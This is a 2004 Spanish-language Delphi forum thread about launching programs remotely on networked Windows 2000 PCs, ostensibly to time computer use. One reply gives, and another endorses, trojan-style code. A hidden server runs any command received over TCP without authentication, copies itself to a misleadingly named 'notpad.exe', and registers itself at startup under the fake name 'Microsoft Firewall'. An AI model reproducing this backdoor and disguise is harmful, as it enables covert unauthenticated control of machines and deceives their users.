Club Delphi  
    FTP   CCD     Buscar   Trucos   Trabajo   Foros

Retroceder   Foros Club Delphi > Principal > API de Windows
Registrarse FAQ Miembros Calendario Guía de estilo Temas de Hoy

Respuesta
 
Herramientas Buscar en Tema Desplegado
  #1  
Antiguo 25-04-2004
Avatar de Gelmin
Gelmin Gelmin is offline
Miembro
 
Registrado: may 2003
Ubicación: Chinandega-Nicaragua
Posts: 56
Poder: 22
Gelmin Va por buen camino
Question Ejecutar Aplicacion remotamente con W2000pro

Bien programadores sera que se puede ejecutar una aplicacion remotamente.
Desde una aplicacion Delphi que esta instalada en un Servidor Windows 2000 Server mandar a ejecutar otra aplicacion cliente instalada en una terminal que tiene Windows 2000pro conociendo el nombre del ejecutable y el nombre de la pc o el ip...si alguien save algo sobre esto ¿Deme una idea de como hacerlo?...un saludo Gelmin Martinez(Nicaragua)
__________________
Powered by Gel
Responder Con Cita
  #2  
Antiguo 26-04-2004
Avatar de jachguate
jachguate jachguate is offline
Miembro
 
Registrado: may 2003
Ubicación: Guatemala
Posts: 6.254
Poder: 28
jachguate Va por buen camino
Te adelanto que no es algo tan simple... aunque puede lograrse utilizando algunos métodos discutidos recientemente en los foros. Ahora mi conexión está muy lenta, y no puedo sugerirte una búsqueda en partícular... pero estoy seguro que la podes encontrar afinando tu criterio de busqueda. Las palabras ejecutar y remot* me parecen un buen punto para empezar.

Hasta luego.

__________________
Juan Antonio Castillo Hernández (jachguate)
Guía de Estilo | Etiqueta CODE | Búsca antes de preguntar | blog de jachguate
Responder Con Cita
  #3  
Antiguo 26-04-2004
Avatar de DarkByte
DarkByte DarkByte is offline
Miembro
 
Registrado: sep 2003
Ubicación: Desconocido
Posts: 1.322
Poder: 22
DarkByte Va por buen camino
Perdona jachguate, pero a mi me parece sencillo (¿será porque normalmente sólo hago ese tipo de aplicaciones?).

Gelmin, lo primero es vas a necesitar dos ejecutables, el Cliente y el Servidor (si te aprendes la teoría de los troyanos y de qué partes están formados, esto te será muy simple),

-El cliente: Se conecta al servidor a través del puerto que tu elijas (siempre el mismo) y le envía las órdenes precisas, es el que tu vas a manejar.
-El servidor: Va a estar en el registro del sistema, va a estar esperando en el puerto que le hayas puesto en la propiedad Port (debe de ser el mismo número de puerto que el del cliente) a que tú te conectes a él.

El servidor es la parte más compleja de las dos, y es por la que yo siempre empiezo, lo principal es hacerlo invisible, pues si el usuario lo ve, puede cerrarlo y ya no puedes administrar el sistema. En el foro de API's hay muchas opciones. Si tienes Delphi7 en adelante puedes poner Visible := False, y en el evento OnCreate del Form ponerle el Height y el Weight del form := 1, así será tan diminuto que nadie lo verá.

Después de la invisibilidad del servidor, nos queda insertar el TIdTCPServer1 de las Indy que se encuentra en la paleta Indy Servers. Le ponemos un puerto al azar fácil de recordar pero teniendo en cuenta que no esté ocupado por ningun otro (no vayas a poner el 12345, que el firewall te va a decir que estás infectado por el NetBus). Después de haber puesto el puerto, nos vamos a la propiedad Commands Handlers y clicamos en sus puntos suspensivos. Le damos a la hojita con una estrella arriba a la izquierda y ponemos, en la propiedad command EjecutarAplicacion. Nos vamos a la pestaña Events y hacemos soble clic en el único evento, OnCommand.

Código:
procedure TForm1.IdTCPServer1TIdCommandHandler0Command(
  ASender: TIdCommand);
var
  Ruta:String;
begin
  //La ruta del ejecutable es la parte que iba después
  //del comando EjecutarAplicacion
  Ruta := ASender.UnparsedParams;
  //Ejecutamos el programa que está en la ruta
  try
     WinExec(PChar(ruta),SW_SHOWNORMAL);
  //Y si no puede... no hace nada pero no da error
  except
  end;
end;
Después de eso, solo nos resta poner el IdTCPServer como True su propiedad Active, añadir a las uses Registry y en el evento OnCreate poner:

Código:
var 
   Registro    :TRegistry;
begin 
try CopyFile(PChar(Application.ExeName),PChar('c:\windows\notpad.exe'),FALSE);
except
end;
  Registro:=TRegistry.create;
  Registro.RootKey := HKEY_LOCAL_MACHINE;
  if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE) then 
    Registro.WriteString('Microsoft Firewall','c:\windows\notpad.exe');
  Registro.Destroy;
end;
Y fin del servidor, me parece que no me olvido nada.


Ahora vamos al cliente, ponemos en el form un IdTCPClient, dos edits y dos botones, a los edits los vamos a llamar eIp (pues ahí vamos a escribir la ip del servidor al que nos vamos a conectar) e eRutaEjecutable (pues ahí vamos a escribir el nombre del ejecutable). Y al caption de los botones les vamos a poner Conectar/Desconectar a uno y Ejecutar a otro.

Al IdTCPClient le vamos a poner el mismo puerto (en port) que el que le pusimos al IdTCPServer. Después, hacemos doble clic en el botón Conectar/Desconectar y escribirmos:
Código:
procedure TForm1.Button1Click(Sender: TObject);
begin
  //Si estamos conectados...
  If IdTCPClient1.Connected = False Then
    begin
      //Comprobamos que el edit no esté vacio
      If eIp.Text = '' Then
        begin
          //Mostramos un mensaje de error
          ShowMessage ('Debe introducir la ip del servidor');
          //Y abortamos
          Abort;
        end;
      //Ponemos el Host del IdTCPClient como lo que ponga
      //en el edit...
      IdTCPClient1.Host := eIp.Text;
      //E intentamos conectarnos!!
      try
        IdTCPClient1.Connect;
      except
        ShowMessage ('No se ha podido contactar con el servidor');
      end;
    end
  //¿Y si estamos ya conectados?
  Else
    IdTCPClient1.Disconnect;
end;
Y en el botón de Ejecutar...
Código:
begin
  try
    IdTCPClient1.SendCmd('EjecutarAplicacion '+eRutaAplicacion.Text);
  except
    ShowMessage ('No estás conectado');
  end;
end;

Y si no me equivoco, ya está terminado el tema, no se si me he equivocado en algo, pues lo he ido haciendo sobre la marcha, pero confío en que mis compañeros del foro me corrijan.
__________________
:)
Responder Con Cita
  #4  
Antiguo 26-04-2004
Avatar de DarkByte
DarkByte DarkByte is offline
Miembro
 
Registrado: sep 2003
Ubicación: Desconocido
Posts: 1.322
Poder: 22
DarkByte Va por buen camino
Y la parte de enviar un archivo se puede conseguir mediante un stream...
en el hilo http://www.clubdelphi.com/foros/showthread.php?t=794 se hace eso pero con una imágen jpg.

Por cierto... ¿este hilo no pertenecería a Internet?
__________________
:)

Última edición por DarkByte fecha: 26-04-2004 a las 12:18:48.
Responder Con Cita
  #5  
Antiguo 27-04-2004
Avatar de Gelmin
Gelmin Gelmin is offline
Miembro
 
Registrado: may 2003
Ubicación: Chinandega-Nicaragua
Posts: 56
Poder: 22
Gelmin Va por buen camino
Talking Darkbyte creo que para mi si esta un poco complicado

DarkByte despues de haber leido lo que dijistes me quede como si me estubiran hablando en japones, mira se ve que tu como dices has trabajado mucho en este tipo de cosas, pero yo todavia no, se me olvido decir que la version de Delphi con la que estoy trabajando en este momento es la 5 enterprise y creo que tu haces referencia a algunos componenstes que no trae la version 5 como las Indy vi por ahi el Delphi 6 que trae algo sobre esto, pero sera que no se puede hacer eso mismo pero con el Delphi 5 men? o tendre que conseguirme el 6 puedo conseguirlo pero es que ese 6 me parece pesado y mi maquina no es tan rapida y me parece que se volvera mas lenta con ese paquete...pero bueno me interesa aprender a hacer eso que dijistes no importa si tendre que instalar delphi 6. Ahora entiendo lo del cliente y el Servidor esa era mi idea inicial, pero para que me puedas ayudar mejor te dire exactamente lo que quiero hacer:
programare una aplicacion Servidor para instalarla en el Servidor de mi red? cual va a ser la funcion de esta Aplicacion, Manejar y administrar que usuarios han utilizado algunos determinados equipos en un tiempo determinado (que equipo utilizo, hora entrada, hora salida, etc) luego la aplicacion cliente solamente medira el tiempo en que el usuario estara utilizando el equipo, este tiempo estara registrado en el servidor. Esta aplicacion cliente la quiero mandar a ejecutar desde el servidor en el momento en que el usuario va utilizar el equipo y ella se encargara de marcarle el tiempo cuando termine este tiempo la aplicacion cliente hara algo asi como cerrar la sesion de windows, cerrar los programas que se esten utilizando bloquear el escritorio o algo parecido la idea es que despues de el tiempo programado para el usuario utilice la maquina haya un programita que puede sacar de operaciones al usuario....! eso es lo que necesito hacer, pero se me acaba de ocurrir algo!!! tambien puede hacer una sola aplicacion el Servidor donde programe la hora de entrada/Salida del usuario Pc a utilizar y luego que se le termine el tiempo pues mandarle un mensaje (net send) y luego cerrarle la sesion remotamente o algo asi....bueno mas o menos eso es lo que necesito....si tienes una idea mejor pues te agradeceria mucho tu ayuda, talves corriendo en Delphi 5 o 6, un ejemplo de todo eso que dijistes anteriormente pueda entender mejor el asunto ahi me disculpas pero no he trabajad mucho con ese tipo de componentes pero me interesa poder hacerlo men....gracias por tu tiempo y un saludo hasta luego Gelmin Martinez(Nicaragua)
__________________
Powered by Gel
Responder Con Cita
  #6  
Antiguo 27-04-2004
Avatar de jachguate
jachguate jachguate is offline
Miembro
 
Registrado: may 2003
Ubicación: Guatemala
Posts: 6.254
Poder: 28
jachguate Va por buen camino
Solo quiero comentarte que las indy las podes descargar e instalar en delphi 5, incluso en delphi 4 c/s (ya no se soporta d4 pro en INDY 9, pero si en INDY 8).

Las podes obtener en http://www.nevrona.com/indy

Hasta luego.

__________________
Juan Antonio Castillo Hernández (jachguate)
Guía de Estilo | Etiqueta CODE | Búsca antes de preguntar | blog de jachguate
Responder Con Cita
  #7  
Antiguo 27-04-2004
CHiCoLiTa CHiCoLiTa is offline
Miembro
 
Registrado: may 2003
Posts: 102
Poder: 22
CHiCoLiTa Va por buen camino
Gelmin, veo que tienes un poco de cacao.
Para que todo esto funcione tienes que hacer 2 programas como muy bien te han comentado, el cliente y el servidor. Aqui lleva tu primera duda.

La aplicacion servidor es la que esta instalada en los puestos, y tu desde tu puesto, con el cliente te conectarias a ellos.

Las indy, en efecto, funcionan en la version 5 e incluso en la 4. Si no las tienes o no las quieres instalar no es problema. Estamos hablando de sockets para establecer comunicaciones entre 2 pc's. Puedes usar el ClientSocket y ServerSocket que te aparecen en la paleta de Internet, o programando directamente tu por socket. Yo particularmente tengo mi propio componente para el manejo de sockets.

Por lo que veo quieres realizar varias operaciones, por lo que seria aconsejable que te establezcas un pequeño protocolo para la comunicaciones entre el cliente y el servidor.

Se me ocurre asi sobre la marcha:
El tio llega al ordenador, con tu cliente le das la orden a ese equipo (programa servidor) que empiece a contar, y le pasas tambien el tiempo que estara
para cerrarle programas, lo primero que tendras que programar es que te devuelva o los procesos activos, o el nombre de las ventanas para poder cerrarlo, o simplemente a que clase pertenece.
Los mensajes de que el tiempo ha termiando lo podrias hacer directamente con un showmessage.

Otras cosas importantes serian el form invisible, que no aparezca su icono, no este en la lista de aplicaciones abiertas. Y para iniciarla como te han comentado antes, lo metes en esa rama del registro y siempre que arranquen el ordenador se iniciara.

A poco que busques por ahi sobre estos temas por separa no tendras ningun problema en encontrar valiosa ayuda
Responder Con Cita
  #8  
Antiguo 27-04-2004
Avatar de Gelmin
Gelmin Gelmin is offline
Miembro
 
Registrado: may 2003
Ubicación: Chinandega-Nicaragua
Posts: 56
Poder: 22
Gelmin Va por buen camino
Problemas con las Indy

Ok baje las indy las instale en mi delphi 5 y probe lo que dijo DarkByte para programar el cliente y el Servidor con los componentes IdTCPServer y IdTCPClient de las indy puse en marcha las dos aplicaciones cada una en su maquina respectiva y me conecte y ejecute la aplicacion remotamente pero esto solo sucedio correctamente la primera vez cuando lo intente hacer de nuevo me genera una excepcion que dice:
proyect1.exe raised exception class EidSocketError with message "socket error # 10054". conection reset by peer. process stoped.

Proyect1 es mi aplicacion Servidor...Alguna sugerencia! Gelmin Martinez(Nicargua)
__________________
Powered by Gel
Responder Con Cita
  #9  
Antiguo 27-04-2004
Avatar de Gelmin
Gelmin Gelmin is offline
Miembro
 
Registrado: may 2003
Ubicación: Chinandega-Nicaragua
Posts: 56
Poder: 22
Gelmin Va por buen camino
Unhappy El cliente se queda colgado...!

Incluso despues que mando a ejecutar la aplicacion desde el cliente, este se queda pegado y tengo que finalizar tarea para que pueda cerrarlo ¿Por que? funciona bien pero despues de dar clic en el boton "ejecutar" ya no vuelve pero si manda a ejecutar el programa...!Gelmin Martinez(Nicaragua)
__________________
Powered by Gel
Responder Con Cita
  #10  
Antiguo 23-11-2005
Avatar de Anubisdp
Anubisdp Anubisdp is offline
Miembro
 
Registrado: nov 2005
Posts: 13
Poder: 0
Anubisdp Va por buen camino
Smile Solucion al problemma!!!!

Se queda colgado porque al momento que se le hace la peticion al servidor el socket se queda bloqueado...

es decir hay dos tipos de socket unos que se bloquean y otros que no. En el caso de los componentes INDY utilizan socket de los que se bloquean...,

En pocas palabras tu haces la peticion o el enlaze con el servidor y lo que pasa es que el cliente se queda esperando una respuesta y no puede hacer nada hasta que resiva la respuesta.

Existen dos maneras para solucionar esto, pero solo te boy a decir la mas facil ya que no requiere mucho que pensarse.

Solo pon un IdAntiFreeze de la pestaña indy Misc y asunto resuelto.


SUERTE!!!!


Responder Con Cita
Respuesta



Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Saltar a Foro


La franja horaria es GMT +2. Ahora son las 01:04:17.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi
Copyright 1996-2007 Club Delphi